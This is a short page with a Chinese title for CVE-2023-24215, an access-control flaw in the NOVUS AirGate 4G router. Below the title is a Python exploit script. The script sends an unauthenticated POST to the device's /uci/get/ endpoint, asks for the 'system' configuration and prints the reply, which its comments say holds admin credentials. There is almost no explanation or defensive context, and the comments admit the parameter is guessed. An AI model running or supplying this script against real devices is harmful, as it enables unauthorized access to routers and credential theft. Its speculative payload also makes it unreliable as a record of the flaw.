CVE-2023-24215 NOVUS AirGate 4G访问控制漏洞

import requests def exploit_novus_airgate(target_ip): # Target endpoint vulnerable to incorrect access control url = f"http://{target_ip}/uci/get/" # Headers to mimic a legitimate browser request headers = { "Content-Type": "application/x-www-form-urlencoded", "User-Agent": "Mozilla/5.0" } # Payload to retrieve sensitive configuration (admin credentials) # The specific parameter might vary based on UCI structure, often requesting config files like 'system' or 'admin' payload = { "config": "system" } try: # Sending POST request without authentication response = requests.post(url, headers=headers, data=payload, verify=False, timeout=5) if response.status_code == 200: print("[+] Exploit successful!") print("[+] Retrieved response:") print(response.text) else: print(f"[-] Failed. Status code: {response.status_code}") except Exception as e: print(f"[-] Error: {e}") if __name__ == "__main__": target = "192.168.1.1" # Replace with target IP exploit_novus_airgate(target)